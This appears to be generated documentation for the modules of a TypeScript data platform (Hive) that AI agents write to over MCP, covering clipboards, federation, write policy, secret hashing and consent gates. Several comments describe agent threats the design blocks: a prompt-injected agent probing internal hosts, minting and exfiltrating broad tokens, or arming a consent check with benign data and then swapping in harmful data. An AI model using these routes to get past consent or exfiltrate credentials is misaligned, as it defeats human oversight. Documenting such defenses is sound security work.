completion.ts — the CLIPBOARD COMPLETION engine: derive a job's progress from the submission log at read time.

why

One declarative home for "what numeric success conditions exist." A clipboard's completion contract is a conjunction/disjunction of metric op threshold predicates; COMPLETION_METRICS is the table keyed by metric name, each computing a number from a narrow aggregate over the target pattern's entries. Per data-is-destiny, NOTHING is stored — count, sources_covered, days_since_last … are all SQL-derived every call (mirrors _fragment_access_log COUNT-promotion / _maintenance_passes days-since). The definition hook (clipboards/hooks.ts) DERIVES its "known metric" set and per-metric required/facet params from this registry; the totality oracle asserts the keysets match, so a metric that can be stored but isn't computed (fail-open) fails the suite.

Near-leaf: imports only quoteIdent (the SQL-identifier chokepoint). It takes db as a parameter — no import of data.ts/hive.ts — so there's no cycle. Identifiers (table, source facet) are interpolated via quoteIdent; thresholds/required values are bound.

imports sql.ts, constraints.ts
MetricContextinterface

What a metric needs to read the submission log: the raw db + the target table (= the pattern name; user patterns are CREATE TABLE "<name>").

Conditiontype

A condition is { metric, op, value, ...params }. params (source_facet, required, period_days) ride alongside and are read by the metric's compute fn.

COMPLETION_METRIC_KEYSconst

The canonical metric vocabulary — one home, derived by the definition hook + the totality oracle.

evaluateCompletionfunction

Evaluate a clipboard's completion contract against the live submission log. Pure-derived: every metric is recomputed here, nothing is cached or stored.

constraints.tsentities/Hive/constraints.ts

constraints.ts — the per-field VALUE-VALIDATION engine, as a dependency-free leaf.

why

One declarative home for "how is a single field value checked against a constraint." CONSTRAINT_RULES is the table keyed by constraint name; every gate (the clipboard submission validator at the mutate chokepoint, the clipboard DEFINITION hook that fail-closes on an unknown key) DERIVES from it — neither re-lists the constraint vocabulary. COMPARISON_OPS is the shared op table used by both clipboard cross-field rules and completion conditions (completion.ts). The totality oracle (src/__tests__/clipboards.test.ts) asserts the keys the definition hook ACCEPTS equal the keys these registries ENFORCE — a constraint that can be stored but is silently unenforced (fail-open) fails the suite.

This is a leaf: it imports NOTHING (pure functions over value + spec), so data.ts can import it with no cycle. It knows nothing about clipboards, SQL, or the DO — it's "check a value against a spec," configured by the _clipboards data.

COMPARISON_OP_KEYSconst

The canonical operator vocabulary — one home, derived by the definition hook and the totality oracle.

compareValuesfunction

Apply a comparison op by name. Unknown op → false (fail closed; the definition hook rejects unknown ops up front, so this is the defense-in-depth floor).

PATTERN_MAX_INPUTconst

Max input length the pattern regex will run against. The pattern is agent-authored and runs against fully caller-controlled input on every submission — reachable from the UNAUTHENTICATED public ingress endpoint — so a catastrophic-backtracking pattern is a latent ReDoS on the write hot path. Refusing to match an over-long value caps the worst-case work (the definition hook also bounds the pattern source length).

CONSTRAINT_KEYSconst

The canonical constraint vocabulary — one home. The definition hook derives its "known constraint key" set from this; the totality oracle asserts equality.

FIELD_SPEC_RESERVEDconst

Keys a field spec may carry that are NOT value-constraints (so the definition hook doesn't flag them as unknown). facet names the column; required is a presence rule handled by the submission validator.

validateFieldValuefunction

Run every present value-constraint on one field value; collect ALL messages (never first-fail) so a submission reports every problem at once. A field spec is { facet, required?, pattern?, min?, max?, min_length?, max_length? }.

data.tsentities/Hive/data.ts

Data engine: query, mutate, search

Pure functions that take a DataContext. HiveDO keeps thin RPC wrappers that add broadcast and transaction concerns.

why

The query/mutate/search engine is pure functions over an injected DataContext so the same logic serves the MCP path and the browser /api path without duplication. executeMutate is the one chokepoint every engine write crosses: it strips forged created_by/updated_by, refuses System patterns, refuses any kernel target on an untrusted (ingress) write, and runs the kernel rules — so the boundary holds for callers entering below the MCP consent layer. patch honors field immutability here (not only in the kernel hooks) because applyKernelRules scans top-level keys and a patched facet rides in data.facet.

imports kernel.ts, policy.ts, prime.ts, constants.ts, sql.ts, log.ts, constraints.ts, completion.ts, kernel-columns.ts
ClipboardSpecinterface

A clipboard's validation + completion contract, parsed from a _clipboards row. Bound to a target dataset pattern; fetched at the mutate chokepoint via DataContext.clipboardFor. The clipboards feature owns the _clipboards pattern + its definition hooks; the chokepoint here ENFORCES the contract per submission.

SubmissionViolationinterface

One reported problem with a submission. The submission validator collects ALL of these (never first-fail) so an agent fixes everything in one round-trip.

DataContextinterface
queryfunction
searchfunction
documents.tsentities/Hive/documents.ts

documents.ts — document-store lifecycle (R2-backed blobs), evicted from HiveDO.

Receives a narrow DocumentsContext, never this and never a trusted executeMutate. Its writes are SYSTEM bookkeeping on _documents' IMMUTABLE columns (r2_key / size / content_type / stored_at / extracted_text / extraction_status) — the columns agents cannot set through mutate — so they stay narrow, specific UPDATEs rather than a new general write chokepoint. The DO keeps thin RPC wrappers; this holds the logic.

imports credentials.ts, extract.ts, log.ts
consumeDocumentUploadfunction

Record a completed upload: bind the R2 key + metadata to the document entry and burn the single-use token.

recordExtractionfunction

Record extracted text + status, then re-embed so the text joins prime recall.

extractDocumentfunction

Schedule async PDF text extraction: mark pending, read the blob from R2, extract, record. Returns immediately; the work outlives the RPC via schedule().

resolveDocumentfunction

Resolve a document for serving. Returns found:false until bytes exist.

effects.tsentities/Hive/effects.ts

effects.ts — declarative pattern effects, the SIDE-EFFECTING half of the kernel.

kernel.ts holds the PURE pre-mutation hooks (ON_CREATE/ON_WRITE): they validate and transform DATA before insert, no I/O. This file is their symmetric impure twin: orchestration that runs AROUND a commit — mint a sub-token, schedule an R2 delete, build a capability URL, run a task. Keyed by pattern, scannable as a table, so adding a side-effecting pattern is one entry instead of another if (patternName === …) branch in mutate().

An effect receives an EffectContext — the DO's NARROWED hands — never this, and never a raw trusted executeMutate (that would be a second uncontrolled write chokepoint). The one sanctioned internal write is internalCreate.

Two phases, mirroring the kernel hooks but with a side-effect contract: before — runs PRE-commit; may read; may abort by throwing (reserve for effects that MUST succeed for the write to be valid). after — runs POST-commit; best-effort / annotating. A failed URL or token DEGRADES the result (matches today), it never unwinds the committed row.

imports index.ts, compose.ts
EffectContextinterface
PatternEffectinterface
PATTERN_EFFECTSconst

PATTERN_EFFECTS is no longer a hand-written literal — it is COMPOSED from the per-feature manifests in entities/features/. Each feature declares its post-mutate effects keyed by pattern; composeEffects folds them into this flat map (and throws on a two-feature collision over the same pattern). The bodies for _documents / _pages / _system_tasks now live in their feature manifests.

This is the extensibility seam: adding a side-effecting pattern means writing a feature manifest + one barrel line — not editing this file. The shape contract (EffectContext, PatternEffect above) stays here as the leaf the manifests import.

evolution.tsentities/Hive/evolution.ts

Schema evolution engine

Each change type is one row in CHANGE_TYPES: validate, preview, apply. The full evolution surface is visible by scanning this table. proposeChange and applyChange are generic dispatchers.

why

Schema evolution is a declaration table (CHANGE_TYPES: validate/preview/apply per change type) so the full surface is scannable and adding a change type is one row, not a procedural chain. Changes are proposed then applied in two steps so the agent and the human can preview the index delta before committing; apply fires resource-update notifications. create_pattern reserves the _ namespace here so a user pattern can never collide with the kernel namespace that isKernelPattern keys on.

imports constants.ts, schema.ts, policy.ts, kernel-columns.ts, format-palette.ts, reports.ts
CHANGE_TYPE_NAMESconst

The change types an agent may propose — the single source the MCP tool's change.type enum derives from (session.ts), so a new change type is exposed through MCP automatically and the protocol contract can't drift from the engine's CHANGE_TYPES table.

applyChangefunction
revertChangefunction
federation.tsentities/Hive/federation.ts

federation.ts — cross-hive (foreign-URI) resolution, evicted from HiveDO.

This is the security-critical seam: it is the only place that sends THIS hive's access token (?token= → Authorization: Bearer) to another origin. The entire point of keeping it as one module is CO-LOCATION — the allow-list consent check and the token-bearing fetch live side-by-side in federatedResolve, so "the host the human approved" and "the host we actually contacted" can never drift apart. A token is attached only to a request whose host is BOTH (a) not isBlockedFederationHost(host) (SSRF block) AND (b) ctx.isHostAllowed(host) (consent allow-list) — and that pair is re-checked on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch would let a future edit move one without the other; here they move as a unit.

FederationContext is deliberately narrow: a bound isHostAllowed(host) (which wraps the _federation_hosts lookup — the module never sees db) plus errorJson. isBlockedFederationHost / normalizeHost are pure and imported directly.

imports kernel.ts, constants.ts
federatedResolvefunction

Resolve a foreign-hive URI (mnemion://other.hive.dev/entry/axioms/7) by fetching https://<host>/o/<path>, optionally carrying ?token= as a Bearer. The allow-list/SSRF gate and the token-bearing fetch are co-located here so an approved host and a contacted host can never diverge.

hive.tsentities/Hive/hive.ts

HiveDO — the single per-user Durable Object that owns all SQLite data.

why

Every agent write funnels through hive's mutate/batchMutate/processInput/consumeUpload methods so the kernel-write boundary is enforced at one chokepoint instead of re-derived per call site. It stays a thin shell over the pure-function domain modules (data, kernel, policy, prime, evolution, schema) with db/context injected — but the per-pattern lifecycle reactions (R2 blob delete on archive, _system_tasks dispatch, _documents upload-token mint) remain hardcoded patternName === "_x" branches here: a consciously-retained imperative seam, since lifting them into the registry was judged a larger refactor with no security payoff and they fail loudly in tests on rename.

imports cloudflare:workers, constants.ts, transform.ts, schema.ts, kernel-columns.ts, kernel.ts, policy.ts, labels.ts, log.ts, host.ts, credentials.ts, evolution.ts, data.ts, effects.ts, prime.ts, web.ts, documents.ts, served.ts, federation.ts, reports.ts
HiveDOclass
db()method
migrateTokenHashes()method

One-time cleanup of secrets that leaked BEFORE born-hashing: hash any legacy plaintext token still in _access_tokens (raw = 32 hex, digest = 64), and scrub any raw token the old post-insert path left in the _mutation_log audit trail. Idempotent; a near-no-op after the first cold start.

mintSecrets()method

Born-hashed secrets: for a CREATE of a pattern with a secret column (SENSITIVE_COLUMNS), generate the preimage in app code and set the column to its DIGEST before the row is inserted — so the audit trigger, the broadcast, and any read only ever see the hash. Returns the raw preimage for the one-time response (the only place it exists). Mutates data in place; returns null for non-secret patterns / non-create ops.

instanceUrl()method

A public URL on this instance — the one place upload_url / page_url / og_image hand-build https://{host}/{path} from the live host.

reportsCtx()method

=== Read-orchestration reports (delegated to reports.ts) ===

Recent activity, the maintenance nag, the stale-review surface, and the system-doc / instance-doc readers live in reports.ts: pure owner-context read+format builders, no writes and no security boundary. The DO injects a narrow ReportsContext (db + bound currentHost/patternClass/errorJson) and keeps thin RPC wrappers with identical signatures.

evoCtx()method
getPendingChange()method

Peek at a pending change's spec without applying it — lets the SessionDO decide whether the change needs a consent round-trip (e.g. set_sharing to a non-private visibility, which publishes an entry over HTTP).

ctxFields()method

Shared DataContext fields, trust-AGNOSTIC. The trust flag is deliberately NOT a parameter here — it is fixed by the named constructor a caller chooses (ownerDataCtx / servedDataCtx), so trust can never be dialed at a call site — there is no trust boolean to misremember.

ownerDataCtx()method

TRUSTED context — full kernel read + write. The owner/agent path (MCP session, browser session, internal writes). The ONLY constructor that sets trusted: true; if you are handed this you can reach kernel data, so it is never given to orchestration that serves untrusted surfaces.

servedDataCtx()method

UNTRUSTED context for SERVED surfaces (public page, /o, /p, OG, federation) AND untrusted WRITES (ingress, upload). trusted: false is the SAME flag the engine uses to refuse any kernel pattern, symmetric across read and write — so a serve/ingress path physically cannot reach _access_tokens/_members/etc. Orchestration handed only this constructor cannot forge a trusted write: the boundary is a capability, not a per-call-site convention.

effectCtx()method

The DO's narrowed hands handed to a pattern effect (effects.ts) — capabilities, never this and never a raw trusted executeMutate. The one sanctioned trusted write is internalCreate.

servedQuery()method

query() for a served/untrusted surface — refuses kernel patterns at the engine. Every public/OG/publication read goes through this, so the kernel read-boundary lives at one chokepoint instead of a check per serve sink.

patternClass()method

A pattern's class: "dataset" (structured records) or "knowledge" (default).

loadClipboard()method

The active clipboard bound to a target pattern (a validated job-dispatch form), parsed from its _clipboards row, or null. Read at the mutate chokepoint via the clipboardFor seam to gate submissions + derive progress. Defensive: a malformed JSON column or a missing table (pre-boot) yields a safe partial/null spec.

query()method
mutate()method
docsCtx()method

Narrow capabilities handed to the documents module (documents.ts) — db + R2 env + broadcast/embed/schedule, never this.

webCtx()method
resolve()method
fedCtx()method

The federation module's narrowed hands: the consent allow-list (bound over the _federation_hosts lookup, never db) + errorJson.

search()method
getEntryHistory()method

Revision history for one entry, oldest→newest: the audit log scoped to (pattern, id), with each UPDATE diffed (changed facet: from → to) and version/timestamp churn filtered out. The create is the first revision.

getEntryLabel()method

The display label for one entry — what a reference to it should show (deriveLabel: title-ish facet, else #id). Used by reference-format chips.

servedCtx()method

The served module's narrowed hands: servedQuery (the untrusted reader that refuses kernel patterns at the engine) + bound kernel-config lookups, each scoped to one answer. Never db, never a trusted ctx.

runTask()method
prime()method
isFederationHostAllowed()method

True if host has been explicitly approved for federation (active _federation_hosts row).

hasKernelVersion()method

True if the table's version column is the kernel auto-increment, not a user field.

checkAndArmConsent()method

Two-phase consent that survives session churn. First call with a key arms it (10-minute TTL) and returns false — the caller should surface the confirmation message. Re-issuing the same key while armed consumes it and returns true — the caller proceeds. Durable in DO storage because sessionless MCP clients land every call on a fresh SessionDO, where an in-memory set can never complete the handshake. The consent signal is the deliberate re-issue of identical arguments; the TTL bounds how long an armed confirmation can wait. Fails closed: storage errors never confirm.

resolveTokenConstraints()method

Validate a token's scope AND return its parsed constraints in one hashed lookup. The token column is a digest at rest, so a raw WHERE token = ? query (as marketplace did) matches nothing — callers needing constraints must go through this.

fetch()method
kernel-columns.tsentities/Hive/kernel-columns.ts

Kernel columns — single canonical home for the auto-provided column set.

Every pattern table carries these columns regardless of its declared facets (CLAUDE.md "Key conventions"). They cannot be defined via propose_change; created_by/updated_by are stamped from the session actor, never caller input.

This is a dependency-free leaf (no imports) so it can be referenced from the schema/DDL layer, the data engine, the evolution engine, and the DO kernel without introducing an import cycle. Every call site that needs "the kernel columns" — or a named slice of them — references this module instead of re-listing the literals. Subsets are DERIVED from the master list (filter), never re-listed, so the slices can't drift from the source of truth.

The ordering is canonical (matches the agent-facing schema display and the integrity check): id, version, then the timestamp + attribution columns.

KERNEL_COLUMNSconst

The full kernel column set, in canonical order. The source of truth.

KERNEL_COLUMN_SETconst

Membership set over the full kernel column list.

USER_OVERRIDABLE_KERNEL_COLUMNSconst

Kernel columns a user MAY redefine as a facet. version alone: create_pattern's apply detects a user version facet and SKIPS the kernel default column, so a pattern can carry user-meaningful version semantics (e.g. semver on packages) instead of the kernel auto-increment. Every OTHER kernel column is added unconditionally — a same-named facet would be a duplicate column (a CREATE/ALTER DDL error), so they MUST be reserved. This set is the SINGLE home for "which kernel columns are overridable"; the facet reservation below derives from it (and create_pattern's skip references it), so the two can't disagree about which column is special.

FACET_RESERVED_COLUMNSconst

Facet-name reservation (evolution.ts validateFacets — the chokepoint for BOTH create_pattern and add_facet): a proposed facet may not be named after a kernel column it would COLLIDE with — i.e. every kernel column EXCEPT the user-overridable ones. DERIVED from the two sets above, never hand-listed, so it can't under-cover. The historical bug was a hand-narrowed subset that omitted created_by/updated_by (which are NOT overridable → must be reserved) AND version (which IS). Splitting "overridable" out as its own declaration fixes both: reserved ∪ overridable = KERNEL_COLUMNS, and adding a kernel column auto-reserves it unless explicitly declared overridable. The facet-kernel-collision totality oracle iterates THIS set (each rejected) and the complement (each overridable allowed) — both halves checked, so the partition can't silently drift.

CALLER_EXCLUDED_ON_CREATEconst

Columns excluded from the caller-supplied field set on CREATE (data.ts): id is autoincrement, the timestamps + attribution are system-managed. version is not in this set because callers never supply it on create either (it's the kernel auto-increment), and excluding it here would be redundant — preserved as master-minus-version.

STRUCTURAL_KERNEL_COLUMNSconst

Columns skipped during facet validation / shown as the kernel column list in the agent-facing schema (data.ts SKIP_KEYS + hive.ts schema display): every auto-provided structural column except the attribution columns, which are not surfaced as schema and were already stripped upstream by executeMutate.

kernel.tsentities/Hive/kernel.ts

Kernel pattern pre-mutation rules

Declarative hooks that validate and transform data before the generic INSERT/UPDATE/ARCHIVE logic in store.ts runs. Each kernel table's special behavior is visible in one place.

why

Declarative pre-mutation hooks so each kernel table's special behavior lives in one visible place. IMMUTABLE / IMMUTABLE_AFTER_CREATE and the register-scope memberActive guard are defense-in-depth against specific attacks: an agent self-approving an invite (approved_at immutable), repointing a token's target after mint, or escalating an invite into owner-takeover. "Which patterns the system writes" and "which are valid ingress/upload targets" are intentionally NOT defined here — they derive from policy.ts so the boundary cannot drift between layers.

Hooks for a FEATURE's own kernel pattern live in that feature's <dir>/hooks.ts (a feature owns its pattern's hooks, the same way it owns the pattern's schema + security). The EXPORTED ON_CREATE / ON_WRITE / IMMUTABLE here are mergeDisjoint(CORE_, compose(FEATURES)) — CORE infra hooks plus each feature's own, composed at module load. ENFORCEMENT does NOT move: applyKernelRules (this file, the one chokepoint every mutate runs through) reads the composed maps, so a feature hook fires byte-for-byte as a core one. The feature hooks.ts files import ONLY TYPES from this file, so the compose back-edge is type-only (no runtime cycle), and mergeDisjoint throws if a feature shadows a CORE pattern's hook.

imports policy.ts, view-palette.ts, index.ts, compose.ts
KernelContextinterface
patternClass()method

A pattern's class — "dataset" (structured records) or "knowledge" (default). Used by the clipboards definition hook to require a dataset-class target.

memberActive()method

An active, non-archived member with this label exists in the roster.

entryField()method

Read one column of one entry — used to resolve a row's existing values when a partial update doesn't carry them (e.g. a _views config edit that omits the target pattern). Returns null if the row/column is absent.

ImmutableRuleinterface

The shape of an IMMUTABLE / IMMUTABLE_AFTER_CREATE registry row. Exported so a feature can declare its pattern's immutable fields (in its own hooks.ts) against the same shape kernel.ts composes back in.

IMMUTABLE_AFTER_CREATEconst

=== Immutable-after-create fields — set once at create, frozen thereafter ===

Distinct from IMMUTABLE (rejected on every op): these define a token's capability and are validated by the create hook, but must never be repointed by a later update/unarchive. Freezing scope/member/constraints/token closes the defense-in-depth gap where an update could repoint an existing token (e.g. to a different member) without re-passing the create-time validation.

_inputs()method
_links()method
_shared()method
WriteHooktype

=== Write hooks — validate on create AND update (not just create) ===

For kernel tables whose payload must stay valid through edits, not only at birth. _views is the case: an agent authors a view, then refines its config — both must validate against the view palette (the SSOT in view-palette.ts), so a malformed or facet-missing spec is refused at the mutate chokepoint rather than silently degrading in the renderer.

_views()method
Shortcutinterface
expandShortcutfunction

Expand a shortcut name to pattern + operation, or return null if not a shortcut.

normalizeHostfunction

Normalize a federation host: lowercase, strip scheme and any path.

isBlockedFederationHostfunction

True if a federation target points at a loopback, private, link-local, or internal-only host. Such hosts can never be added to the allow-list and are refused at resolve time - defense against SSRF and against an agent acting on prompt-injected content probing internal infrastructure or cloud metadata.

The host is normalized through the same URL parser fetch() uses, so the check operates on the exact host the network stack will contact (handles userinfo, ports, IPv4 in any base, IPv6 brackets, case). Anything unparseable as a host fails closed (blocked). A public hostname whose DNS resolves to a private IP cannot be caught here (no DNS API on Workers); that residual is covered by the federation consent allow-list and per-hop redirect re-validation.

scopeMatchesfunction

Check if tokenScope grants access for requiredScope. Hierarchical prefix match with : boundary.

immutableFieldErrorfunction

The immutability error for editing a single named facet on an existing entry, or null if the facet is freely editable. Covers both IMMUTABLE (rejected on any op) and IMMUTABLE_AFTER_CREATE (frozen after create). Used by the patch path, which edits one facet by name and so can't rely on applyKernelRules' top-level-key scan.

labels.tsentities/Hive/labels.ts

Single source of truth for "what does this entry look like as a string."

Used by both the backend (so /api/index can include a stable label) and the React frontend. If the algorithm ever needs to evolve, change it here once.

why

One deriveLabel so the backend (/api/index) and the React frontend render an entry's label identically. The label is computed everywhere it's needed, never persisted, per data-is-destiny (store truth once, derive its consequences) — one algorithm, one place to evolve it.

LabelFacetinterface
deriveLabelfunction

Derive a human-readable label for an entry. Returns the unbounded string; callers truncate to fit their UI.

Priority: 1. First non-empty value among LABEL_KEYS (name, title, label, key, context). 2. First text-type facet's value. 3. Falls back to "#{id}" if neither is available.

truncatefunction

Truncate a string to max chars, appending an ellipsis if truncated.

mutate-gate.tsentities/Hive/mutate-gate.ts

Mutate-gate decisions — the pure, transport-agnostic predicates that decide what gate a write must clear, factored out of the MCP mutate handler so the decision can't drift from the place it's enforced.

why

The agent-facing WRITE surface exists on two transports: the MCP mutate tool (entities/Session/session.ts) and the browser-authenticated /api/mutate (shared/Routing/routes/pages.ts). The gate decisions — "is this op consent- gated and which way," "may this op ride inside a batch," "is this loosely-typed data actually an object" — were inline imperative branches in session.ts. That is the real drift vector the memory warns about ("/api+RPC tests pass while MCP breaks via the Zod/consent layer"): a future edit to the batch rule or the consent condition touches only session.ts, with no tested home to anchor it.

These functions are PURE derivations of policy.ts (the write-class SSOT) — no I/O, no round-trip mechanics. The interactive consent round-trip itself (checkAndArmConsent + re-issue) stays in session.ts because only the MCP path can satisfy it; this module decides WHETHER it fires, not how. /api stays owner-implicit (a logged-in human IS the consent) and does not consult these decisions today — it receives parsed, single-op JSON and is intentionally ungated. The win is not that both transports call this, but that the gate decisions now have ONE tested home (a pure leaf over policy.ts) instead of inline branches: an edit to the batch rule or consent condition is anchored by a unit test, so an MCP-only regression can't slip past /api-based tests. If /api ever needs the same validation, it adopts these — without a second copy existing.

imports policy.ts
normalizeMutateDatafunction

Parse a possibly-JSON-stringified value; non-strings and unparseable strings pass through unchanged (the caller's shape check then rejects bad input).

isSingleOpDatafunction

True when data is a usable single-op payload (a plain object, not an array). The shape both transports require before handing data to the engine.

mutateGatefunction

Decide which gate a single mutate op must clear, purely from policy.ts. The MCP handler drives the round-trip mechanics off this; the engine independently enforces write-class, so this is the consent layer's single decision point.

consentKeyfunction

The key used to arm/confirm a consent round-trip in _pending_consent. The request data is folded in so consent is bound to the SPECIFIC call shape, not to (pattern, operation) alone — re-issuing with different data must start a fresh round-trip rather than confirm the prior. (Without the data fold an agent could arm with benign data and re-issue with harmful data on the same pattern/op to satisfy the gate.) Data is serialized with sorted keys so semantically-identical re-issues confirm regardless of property order. Lives here because the data-binding is the correctness property of the gate; the round-trip MECHANICS stay in session.ts.

BatchOpinterface
findGatedBatchOpfunction

The first op in a batch that may NOT ride inside it, or null if all are eligible. Consent-gated escalations and patches on gated patterns must go through a single mutate (a batch would skip the round-trip / kernel hooks); archive (de-escalation) is allowed. Pure derivation of policy.ts — the batch rule has one home, not an inline .find in the handler.

policy.tsentities/Hive/policy.ts

Write-class policy — the single source of truth for "which patterns can agents write, through which path, and what gate fires."

This question was previously answered hole-by-hole: a CONSENT_GATED dict in the session layer, an INTERNAL_WRITE_PROTECTED set in the data layer, and eleven independent startsWith("_") checks scattered across kernel/data/hive/ evolution/prime. Each was a separate map of the same territory, and a missed cell was a security hole (see the set_sharing, patch-bypass, ingress/upload, and register-token findings).

Here the territory is modeled once. Every pattern has a WriteClass; every gate (consent round-trip, batch exclusion, ingress/upload eligibility, schema- evolution restriction, prime inclusion) is a pure derivation of it. A kernel pattern with no declared class fails CLOSED (System — denied) so a newly added kernel pattern can never silently default to agent-writable through every path.

This module is a leaf: it imports nothing from the enforcement layers, so they can all derive from it without cycles. The ONE import it does carry — the feature-security barrel (entities/features/security.ts) — is itself pure DATA + TYPES (each feature's */security.ts imports only import type from here), so the leaf property holds: no enforcement-layer code, no runtime cycle. (It deliberately does NOT import a feature manifest.ts; those carry code.)

why

That question was previously answered hole-by-hole across three layers plus eleven scattered startsWith("_") checks, and every missed cell was a security hole (set_sharing ungated, the patch-bypass, ingress/upload targeting kernel patterns, register-token takeover). Unclassified kernel patterns fail CLOSED (System → denied) so a new kernel pattern can never silently default to agent-writable; the module is a dependency-free leaf so every enforcement layer derives from it without cycles; write-class is computed at read time, never persisted, to avoid denormalizing the constant.

imports security.ts
ConsentPolicyinterface
KernelPolicyinterface
isKernelPatternfunction

The _ namespace is reserved for the kernel (create_pattern refuses it), so a leading underscore is the exact, single definition of "kernel pattern."

writeClassfunction

The write class of any pattern. Unclassified kernel patterns fail CLOSED (System) — a new _ table added without a policy row is denied, not opened.

isInternalWriteProtectedfunction

True for patterns the system manages itself — denied at the mutate engine.

isValidWriteTargetfunction

True only for User-class patterns: the sole valid ingress/upload write target. Every kernel pattern — gated, open, or system — is refused, because HTTP write paths bypass the MCP consent layer and must never reach the kernel surface.

consentPolicyfunction

Consent configuration for a pattern, or null if it carries none.

primeIncludedfunction

True if this kernel pattern is surfaced in prime recall (most are excluded).

isAuditExemptfunction

True if this pattern is exempt from audit triggers (append-only logs).

SensitivityKindtype

=== Egress sensitivity: the read/serialization dual of KERNEL_WRITE_POLICY ===

"Sensitive" is a property of DATA (a column), but it used to be enforced per EGRESS path (mutate response, /ws delta, audit trigger, query, export, served reads) — so a new egress kept reintroducing the leak. This is the one declarative home: which columns must never leave the DO in the clear. - secret: born-hashed. The preimage is generated in app code and returned ONCE at mint; only its digest is ever stored — so the audit trigger, the broadcast, and any read see a hash, not a usable bearer. Also stripped by seal from every serialized row (belt-and-suspenders). - redact: never serialized off the DO at all (stripped by seal); the data plane has no legitimate need for it. Broadcast, audit, export, and served reads all derive from this, so adding a new secret column protects every egress at once. Two oracles fail loud on a gap: verifyEgressTotality (the DECLARED-domain totality — every column a feature declares survives into the composed registry) and findUnclassifiedSensitiveColumns (the complementary name heuristic — a secret-NAMED column with no policy at all).

SENSITIVE_COLUMNSconst

The EFFECTIVE sensitivity registry: CORE columns + each feature's own. Every egress (seal/sealAll, the audit trigger, export) and the egress totality oracle (findUnclassifiedSensitiveColumns) read THIS composed map, so a feature's redacted/secret columns inherit every egress + the loud-fail oracle unchanged.

secretColumnfunction

The single secret (born-hashed) column for a pattern, or null.

sealfunction

Strip sensitive columns from a row about to leave the DO — the one sieve every egress routes through (broadcast, export, served read, mutate response). Shallow copy; null/undefined passes through.

sealAllfunction

seal a list of rows — the sanctioned form for any served path emitting many rows, so no caller hand-rolls .map(seal) and forgets the pattern arg.

verifyEgressTotalityfunction

EGRESS TOTALITY over the DECLARED domain — the read/serialization dual of verifyWritePolicyTotality. Where the write check walks the live KERNEL_TABLES, this walks the live FEATURE_SECURITY registry (via FEATURE_DECLARED_SENSITIVE): every sensitive column ANY feature declares MUST survive into the composed, effective SENSITIVE_COLUMNS. This catches the exact bug the old two-hand-list barrel allowed — a feature's sensitiveColumns silently dropped from the composition (so it inherited no seal/audit/export redaction) while its write policy still wired. A gap here means a declared redact/secret column would leak. Code-vs-code (FEATURE_SECURITY vs the composed SENSITIVE_COLUMNS) — no DB needed.

findUngatedCredentialMintsfunction

CREDENTIAL-MINT GATING TOTALITY — the consent dual of egress totality, derived from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration). A pattern with a secret column mints a born-hashed BEARER on every create — i.e. creating a row hands out a portable, exfiltratable credential. So its create MUST be gated: either System (never agent-writable) or Consent with a create-gating condition. The patch_only condition is PROVABLY WRONG for a credential-minter — it declares create benign while create is the dangerous op — and an Open class is worse (an injected agent mints freely). This is the exact bug that shipped _access_tokens as patch_only: an agent could mint + exfiltrate a broad/* bearer with no human round-trip. Fail-closed: a secret-minting pattern whose create isn't gated fails the build, so the misclassification is unexpressible.

patchRejectedfunction

True if patch must be rejected for this pattern (any consent-gated pattern — patch skips the kernel validation hooks and the confirmation round-trip).

consentRoundTripRequiredfunction

Whether an escalating create/update/unarchive needs the confirmation round-trip, given the data being written (for on_expose visibility checks). patch_only patterns never round-trip; patch is handled by patchRejected.

isBroadTokenScopefunction

A token scope is BROAD if minting it hands out a portable credential that grants a whole CLASS of resources (via the scopeMatches prefix rule) or full access — the kind an injected agent could mint and exfiltrate. Narrow target-bound and inert-until-approval scopes are benign (the frequent legit flows). Unknown shapes fail CLOSED (broad). Used by the on_broad_token consent condition.

prime.tsentities/Hive/prime.ts

Auto-associative priming layer

Partial cue → full constellation. Embeds entries on write via Workers AI, queries Vectorize for semantic nearest neighbors, follows links one hop.

Pure functions with env/db injected. HiveDO wires the lifecycle.

why

Which kernel patterns participate in recall is not a local hand-maintained set — primeIncluded derives from the policy.ts registry, because the former invisible KERNEL_INCLUDE set had no totality check and a renamed pattern would silently drop out of recall. Decay and the stale view derive from _entry_access_log (recall is rehearsal — a prime hit refreshes the decay clock), never from a stored counter, per data-is-destiny.

imports constants.ts, format-palette.ts, log.ts, policy.ts
binds VECTORIZE, AI
PrimeContextinterface
PrimeResultinterface
MemoryPolicyinterface
getPatternClassfunction

A pattern's class: "knowledge" (default — recalled by meaning) or "dataset" (structured records aggregated by computation, exempt from the memory machinery).

getMemoryPolicyfunction

Read a pattern's memory policy from _objects, applying opinionated defaults.

decayMultiplierfunction

Recall-weight multiplier: halves per half-life elapsed, floored so old-but-relevant survives.

buildEmbedTextfunction

Build embeddable text from the facets whose FORMAT says they carry prose.

What an entry MEANS is decided by each facet's format, not its storage type: a URL and a paragraph are both TEXT, but only one is language. So this reads every facet and derives inclusion from FORMAT_PALETTE[…].embed — the same declaration the renderers key off — rather than re-listing types here. The INTRINSIC format only (_fields.format ?? the type default); a view's per-facet override is presentation, and must not change what an entry means. Facets are read in declaration order, so put prose first: the MAX_EMBED_CHARS budget is spent in that order.

embedEntryfunction

Embed an entry and upsert its vector. Fire-and-forget safe. A precomputed vector (e.g. from the write-time conflict check) skips the AI call.

NeighborMatchinterface
findNeighborsfunction

Find same-pattern semantic neighbors of not-yet-written entry data. Returns matches ≥ CONFLICT_SIMILARITY plus the computed vector (reusable for the post-write upsert, avoiding a second AI call). Best-effort: any failure returns empty with no vector.

removeEntryfunction

Remove a vector when an entry is archived.

primefunction

Prime: partial cue activates a full constellation.

parseDbDatefunction

SQLite datetime('now') emits "YYYY-MM-DD HH:MM:SS" in UTC with no zone marker — parse as UTC.

followLinksfunction

Follow foreign key links one hop from an entry.

reports.tsentities/Hive/reports.ts

reports.ts — read-orchestration reporting, evicted from HiveDO.

These are pure read+format builders for agent-facing JSON/markdown: recent activity, the maintenance-status nag, the stale-review surface, the system-doc readers, and the instance/storage doc. None of them write, none are a security boundary (they run in the owner/trusted DO context and only SELECT), and none are bound to the DO lifecycle/websocket — so they decompose cleanly out of the kernel shell.

ReportsContext is deliberately narrow. Raw db is acceptable here (every read is owner-context and read-only), but the bits that DO need DO state — the host (currentHost, which reads the live Host header / WORKER_HOST off the DO instance) and patternClass/errorJson (already-bound helpers) — are injected as functions so this module never reaches back into this. The DO keeps thin RPC wrappers with identical signatures; this holds the logic.

imports constants.ts, prime.ts, kernel.ts
